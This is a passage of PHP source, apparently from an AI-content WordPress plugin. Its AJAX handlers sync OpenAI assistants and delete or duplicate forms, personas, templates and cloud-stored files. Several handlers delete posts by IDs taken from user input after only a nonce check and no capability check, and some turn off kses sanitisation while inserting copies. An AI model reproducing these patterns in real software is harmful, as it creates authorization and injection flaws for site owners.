OmniBlock template: ' . print_r($ai_data, true)); } else { update_post_meta($omni_id, 'aiomatic_json', $_POST['sortable_cards_edit']); if(trim($_POST['omni_template_cat_edit']) != '') { $cats = $_POST['omni_template_cat_edit']; $cat_arr = explode(';', $cats); $cat_arr = array_map('trim', $cat_arr); wp_set_object_terms($omni_id, $cat_arr, 'ai_template_categories'); } else { wp_set_object_terms($omni_id, array(), 'ai_template_categories'); } $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'OmniBlock template updated successfully'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_sync_assistants', 'aiomatic_sync_assistants'); function aiomatic_sync_assistants() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with assistant importing'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $token = ''; $imported = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); try { $all_assistants = aiomatic_openai_list_assistants($token); if(empty($all_assistants)) { $aiomatic_result['msg'] = 'No assistants to import.'; wp_send_json($aiomatic_result); } foreach($all_assistants as $my_assistant) { $vector_store_id = ''; if(isset($my_assistant['tool_resources']['file_search']['vector_store_ids'][0])) { $vector_store_id = $my_assistant['tool_resources']['file_search']['vector_store_ids'][0]; } $file_ids = array(); if(isset($my_assistant['tool_resources']['code_interpreter']['file_ids'][0])) { $file_ids = $my_assistant['tool_resources']['code_interpreter']['file_ids']; } $result = aiomatic_save_assistant_only_local($token, $my_assistant['name'], $my_assistant['model'], $my_assistant['instructions'], $my_assistant['description'], $my_assistant['temperature'], $my_assistant['top_p'], '', '', $file_ids, $my_assistant['id'], $my_assistant['created_at'], $my_assistant['tools'], $vector_store_id); if(!isset($result['id'])) { $aiomatic_result['msg'] = 'Failed to import assistant: ' . print_r($result, true); } else { $imported = true; } } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception while importing assistants: ' . $e->getMessage(); } if($imported === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Assistant imported successfully'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_sync_batches', 'aiomatic_sync_batches'); function aiomatic_sync_batches() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with batch request importing'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $token = ''; $imported = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['app_id']) && trim($aiomatic_Main_Settings['app_id']) != '') { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; } else { $aiomatic_result['msg'] = 'Please set up your API key in the plugin\' settings.'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/aiomatic-batch-api.php"); try { $all_batches = aiomatic_openai_list_batches($token); if(empty($all_batches)) { $aiomatic_result['msg'] = 'No batch requests to import.'; wp_send_json($aiomatic_result); } foreach($all_batches as $my_batch) { $result = aiomatic_save_batch_only_local($token, $my_batch); if(!isset($result['id'])) { $aiomatic_result['msg'] = 'Failed to import AI Batch Request: ' . print_r($result, true); } else { $imported = true; } } } catch(Exception $e) { $aiomatic_result['msg'] = 'Exception while importing batch requests: ' . $e->getMessage(); } if($imported === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'AI Batch Requests imported successfully'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_all_batches', 'aiomatic_delete_all_batches'); function aiomatic_delete_all_batches() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with batch request importing'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $post_type = 'aiomatic_batches'; $posts = get_posts(array( 'post_type' => $post_type, 'numberposts' => -1, 'post_status' => 'any' )); $deleted = false; foreach ($posts as $post) { wp_delete_post($post->ID, true); $deleted = true; } if($deleted === true) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'AI Batch Requests deleted successfully'; } if($deleted === false) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'No AI Batch Requests to delete'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_persona', 'aiomatic_get_persona'); function aiomatic_get_persona() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with persona query'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['ids'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { $persona = false; $aiomatic_persona = get_post($_POST['ids'], ARRAY_A); if ($aiomatic_persona) { $avatar = get_the_post_thumbnail_url($aiomatic_persona['ID'], 'thumbnail'); $avatarid = get_post_thumbnail_id($aiomatic_persona['ID']); $message = get_post_meta($aiomatic_persona['ID'], '_persona_first_message', true); $onlyKeys = ['ID', 'post_content','post_title', 'post_excerpt']; $aiomatic_persona = array_filter($aiomatic_persona, function($v) use ($onlyKeys) { return in_array($v, $onlyKeys); }, ARRAY_FILTER_USE_KEY); $aiomatic_persona['avatar'] = $avatar; $aiomatic_persona['avatarid'] = $avatarid; $aiomatic_persona['message'] = $message; $persona = json_encode($aiomatic_persona); } if($persona !== false) { $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = $persona; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_duplicate_form', 'aiomatic_duplicate_form'); function aiomatic_duplicate_form() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with form duplication'); if(!isset($_POST['formid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $formid = $_POST['formid']; $original_form = get_post($formid); if($original_form == null) { $aiomatic_result['msg'] = 'Form id was not found!'; wp_send_json($aiomatic_result); } $prompt = get_post_meta($formid, 'prompt', true); $model = get_post_meta($formid, 'model', true); $assistant_id = get_post_meta($formid, 'assistant_id', true); if(empty($assistant_id)) { $assistant_id = ''; } $header = get_post_meta($formid, 'header', true); $advanced = get_post_meta($formid, 'advanced', true); $editor = get_post_meta($formid, 'editor', true); $submit = get_post_meta($formid, 'submit', true); $max = get_post_meta($formid, 'max', true); $temperature = get_post_meta($formid, 'temperature', true); $topp = get_post_meta($formid, 'topp', true); $presence = get_post_meta($formid, 'presence', true); $frequency = get_post_meta($formid, 'frequency', true); $response = get_post_meta($formid, 'response', true); $type = get_post_meta($formid, 'type', true); $aiomaticfields = get_post_meta($formid, '_aiomaticfields', true); if(!is_array($aiomaticfields)) { $aiomaticfields = array(); } $original_form->post_date = wp_date('Y-m-d H:i:s'); unset($original_form->ID); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $forms_id = wp_insert_post($original_form); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($forms_id)) { $aiomatic_result['msg'] = 'Failed to save duplicated form!'; wp_send_json($aiomatic_result); } update_post_meta($forms_id, 'prompt', $prompt); update_post_meta($forms_id, 'model', $model); update_post_meta($forms_id, 'assistant_id', $assistant_id); update_post_meta($forms_id, 'header', $header); update_post_meta($forms_id, 'advanced', $advanced); update_post_meta($forms_id, 'editor', $editor); update_post_meta($forms_id, 'submit', $submit); update_post_meta($forms_id, 'max', $max); update_post_meta($forms_id, 'temperature', $temperature); update_post_meta($forms_id, 'topp', $topp); update_post_meta($forms_id, 'presence', $presence); update_post_meta($forms_id, 'frequency', $frequency); update_post_meta($forms_id, 'response', $response); update_post_meta($forms_id, 'type', $type); update_post_meta($forms_id, '_aiomaticfields', $aiomaticfields); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $forms_id; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_duplicate_persona', 'aiomatic_duplicate_persona'); function aiomatic_duplicate_persona() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with persona duplication'); if(!isset($_POST['personaid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $personaid = $_POST['personaid']; $original_persona = get_post($personaid); if($original_persona == null) { $aiomatic_result['msg'] = 'Persona id was not found!'; wp_send_json($aiomatic_result); } $first_message = get_post_meta($personaid, '_persona_first_message', true); $original_persona->post_date = wp_date('Y-m-d H:i:s'); $avatar = get_post_thumbnail_id($original_persona->ID); unset($original_persona->ID); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $persona_id = wp_insert_post($original_persona); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($persona_id)) { $aiomatic_result['msg'] = 'Failed to save duplicated persona!'; wp_send_json($aiomatic_result); } if($avatar > 0) { require_once(ABSPATH . 'wp-admin/includes/image.php'); require_once(ABSPATH . 'wp-admin/includes/media.php'); set_post_thumbnail( $persona_id, $avatar ); } if(!empty($first_message)) { update_post_meta($persona_id, '_persona_first_message', $first_message); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $persona_id; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_add_remote_chatbot', 'aiomatic_add_remote_chatbot'); function aiomatic_add_remote_chatbot() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with remote chatbot creation'); check_ajax_referer('openai-ajax-nonce', 'nonce'); $page_title = 'Chatbot ' . uniqid(); $page_id = wp_insert_post(array( 'post_title' => $page_title, 'post_status' => 'publish', 'post_type' => 'aiomatic_remote_chat', 'post_content' => '[aiomatic-chat-form]' )); if ($page_id && !is_wp_error($page_id)) { $myop = get_option('aiomatic_chat_page_id', false); if($myop === false) { $myop = array(); } if(is_numeric($myop)) { $myop = array($myop); } $myop[] = $page_id; update_option('aiomatic_chat_page_id', $myop); } else { $aiomatic_result['msg'] = 'Failed to save remote chatbot instance!'; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $page_id; $aiomatic_result['msg'] = 'Success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_remote_chatbot', 'aiomatic_delete_remote_chatbot'); function aiomatic_delete_remote_chatbot() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with remote chatbot deletion'); check_ajax_referer('openai-ajax-nonce', 'nonce'); if(!isset($_POST['dataid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; wp_send_json($aiomatic_result); } $dataid = $_POST['dataid']; wp_delete_post($dataid, true); $aiomatic_result['status'] = 'success'; $aiomatic_result['msg'] = 'Success'; wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_form', 'aiomatic_delete_form'); function aiomatic_delete_form() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular form deletion'); if(!isset($_POST['formid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['formid']; $aiomatic_result['msg'] = 'Success'; wp_delete_post($_POST['formid']); } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_assistant', 'aiomatic_delete_assistant'); function aiomatic_delete_assistant() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular assistant deletion'); if(!isset($_POST['assistantid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); $errors = ''; $assistant_id = get_post_meta($_POST['assistantid'], '_assistant_id', true); if(!empty($assistant_id)) { try { aiomatic_openai_delete_assistant($token, $assistant_id); } catch(Exception $e) { $errors .= 'Failed to delete assistant ID: ' . $assistant_id . ', exception: ' . $e->getMessage() . '\n'; } } $vector_store_id = get_post_meta($_POST['assistantid'], '_assistant_vector_store_id', true); if(!empty($vector_store_id)) { aiomatic_openai_delete_vector_store($token, $vector_store_id); } wp_delete_post($_POST['assistantid']); if(!empty($errors)) { $aiomatic_result['msg'] = 'Assistant failed to be deleted: ' . $errors; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['assistantid']; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_omni_template', 'aiomatic_delete_omni_template'); function aiomatic_delete_omni_template() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular OmniBlock Template deletion'); if(!isset($_POST['id'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); wp_delete_post($_POST['id']); if(!empty($errors)) { $aiomatic_result['msg'] = 'OmniBlock Template failed to be deleted: ' . $errors; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['id']; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_delete_omni_file', 'aiomatic_delete_omni_file'); function aiomatic_delete_omni_file() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular OmniBlock File deletion'); if(!isset($_POST['id'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $this_post = get_post($_POST['id']); if($this_post === null) { $aiomatic_result['msg'] = 'Incorrect post_id sent'; wp_send_json($aiomatic_result); } $local_id = get_post_meta($_POST['id'], 'local_id', true); if(empty($local_id)) { $aiomatic_result['msg'] = 'Local file path not found'; wp_send_json($aiomatic_result); } $file_type = ''; $terms = wp_get_object_terms( $_POST['id'], 'ai_file_type' ); if(!is_wp_error($terms)) { foreach($terms as $tm) { $file_type = $tm->slug; break; } } if($file_type == 'local') { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $wp_filesystem->delete($local_id); } elseif($file_type == 'amazon') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 bucket_name for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Amazon S3 s3_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '') { $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1'; } try { $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['bucket_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Amazon S3 API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['bucket_name']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Amazon S3 API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'wasabi') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '') { $aiomatic_result['msg'] = 'You need to enter a Wasabi wasabi_region for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => trim($aiomatic_Main_Settings['wasabi_region']), 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Wasabi API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Wasabi API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Wasabi: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'cloudflare') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_bucket for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_pass for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '') { $aiomatic_result['msg'] = 'You need to enter a CloudFlare cloud_account for this to work!'; wp_send_json($aiomatic_result); } try { $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass'])); $s3 = new S3Client([ 'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com", 'bucket_endpoint' => true, 'version' => 'latest', 'region' => 'us-east-1', 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize CloudFlare API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode CloudFlare API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to CloudFlare: " . $e->getMessage(); wp_send_json($aiomatic_result); } } elseif($file_type == 'digital') { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $aiomatic_result['msg'] = 'You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_endpoint for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_user for this to work!'; wp_send_json($aiomatic_result); } if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '') { $aiomatic_result['msg'] = 'You need to enter a Digital Ocean digital_pass for this to work!'; wp_send_json($aiomatic_result); } $bucket_name = ''; preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches); if(isset($zmatches[1][0])) { $bucket_name = $zmatches[1][0]; } else { $aiomatic_result['msg'] = 'Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']); wp_send_json($aiomatic_result); } $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint'])); try { $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass'])); $s3 = new S3Client([ 'version' => 'latest', 'region' => 'us-east-1', 'endpoint' => $endpoint_plain_url, 'use_path_style_endpoint' => false, 'credentials' => $credentials ]); } catch(Exception $e) { $aiomatic_result['msg'] = 'Failed to initialize Digital Ocean API: ' . $e->getMessage(); wp_send_json($aiomatic_result); } try { $obj_arr = [ 'Bucket' => trim($bucket_name), 'Key' => $local_id, ]; $awsret = $s3->deleteObject($obj_arr); if(!isset($awsret['DeleteMarker'])) { $aiomatic_result['msg'] = "Failed to decode Digital Ocean API response: " . print_r($awsret, true); wp_send_json($aiomatic_result); } } catch (Exception $e) { $aiomatic_result['msg'] = "There was an error uploading the file " . $image_url . " to Digital Ocean: " . $e->getMessage(); wp_send_json($aiomatic_result); } } wp_delete_post($_POST['id']); if(!empty($errors)) { $aiomatic_result['msg'] = 'OmniBlock File failed to be deleted: ' . $errors; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['id']; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_duplicate_assistant', 'aiomatic_duplicate_assistant'); function aiomatic_duplicate_assistant() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular assistant duplication'); if(!isset($_POST['assistantid'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $vector_store_id = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'You need to add an API key in plugin settings for this shortcode to work.'; wp_send_json($aiomatic_result); } else { $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(empty($token)) { $aiomatic_result['msg'] = 'Invalid API key submitted'; wp_send_json($aiomatic_result); } } $original_assistant = get_post($_POST['assistantid'], ARRAY_A); if($original_assistant == null) { $aiomatic_result['msg'] = 'Assistant id was not found!'; wp_send_json($aiomatic_result); } require_once (dirname(__FILE__) . "/res/aiomatic-assistants-api.php"); $errors = ''; $assistant_id = get_post_meta($_POST['assistantid'], '_assistant_id', true); $assistant_first_message = get_post_meta($_POST['assistantid'], '_assistant_first_message', true); $featured_image = get_post_thumbnail_id($_POST['assistantid']); $new_id = false; if(!empty($assistant_id)) { try { $new_id = aiomatic_openai_duplicate_assistant($token, $assistant_id, $vector_store_id); } catch(Exception $e) { $errors .= 'Failed to duplicate assistant ID: ' . $assistant_id . ', exception: ' . $e->getMessage() . '\n'; } } if($new_id !== false) { try { $file_ids = array(); if(isset($new_id['tool_resources']['code_interpreter']['file_ids'][0])) { $file_ids = $new_id['tool_resources']['code_interpreter']['file_ids']; } $result = aiomatic_save_assistant_only_local($token, $new_id['name'], $new_id['model'], $new_id['instructions'], $new_id['description'], $new_id['temperature'], $new_id['top_p'], $assistant_first_message, $featured_image, $file_ids, $new_id['id'], $new_id['created_at'], $new_id['tools'], $vector_store_id); if(!isset($result['id'])) { $aiomatic_result['msg'] = 'Failed to import assistant: ' . print_r($result, true); } } catch(Exception $e) { $errors .= 'Failed to duplicate assistant ID locally: ' . $assistant_id . ', exception: ' . $e->getMessage() . '\n'; } if(!empty($errors)) { $aiomatic_result['msg'] = 'Assistant failed to be duplicated: ' . $errors; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $_POST['assistantid']; $aiomatic_result['msg'] = 'Success'; } } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_duplicate_omni_template', 'aiomatic_duplicate_omni_template'); function aiomatic_duplicate_omni_template() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular OmniBlock template duplication'); if(!isset($_POST['id'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $id = $_POST['id']; $original_temp = get_post($id); if($original_temp == null) { $aiomatic_result['msg'] = 'OmniBlock template id was not found!'; wp_send_json($aiomatic_result); } $original_temp->post_date = wp_date('Y-m-d H:i:s'); $original_temp->post_title .= ' - Copy'; $original_temp->post_content = addslashes($original_temp->post_content); unset($original_temp->ID); remove_filter('content_save_pre', 'wp_filter_post_kses'); remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');remove_filter('title_save_pre', 'wp_filter_kses'); $zaid = wp_insert_post($original_temp); add_filter('content_save_pre', 'wp_filter_post_kses'); add_filter('content_filtered_save_pre', 'wp_filter_post_kses');add_filter('title_save_pre', 'wp_filter_kses'); if(is_wp_error($zaid)) { $aiomatic_result['msg'] = 'Failed to save duplicated OmniBlock template!'; wp_send_json($aiomatic_result); } else { $category_detail = get_the_terms($id, 'ai_template_categories'); $categories_list = array(); if(is_array($category_detail)) { foreach($category_detail as $cd){ $categories_list[] = $cd->slug; } } if(!empty($categories_list)) { wp_set_object_terms($zaid, $categories_list, 'ai_template_categories'); } } $aiomatic_result['status'] = 'success'; $aiomatic_result['id'] = $zaid; $aiomatic_result['msg'] = 'Success'; } wp_send_json($aiomatic_result); die(); } add_action('wp_ajax_aiomatic_get_omni_data', 'aiomatic_get_omni_data'); function aiomatic_get_omni_data() { $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with singular OmniBlock template query'); if(!isset($_POST['theID'])) { $aiomatic_result['msg'] = 'Incorrect AJAX call'; } else { check_ajax_referer('openai-ajax-nonce', 'nonce'); $id = $_POST['theID']; $original_temp = get_post($id); if($original_temp == null) { $aiomatic_result['msg'] = 'OmniBlock edit template id was not found!'; wp_send_json($aiomatic_result); } $json_back = get_post_meta($id, 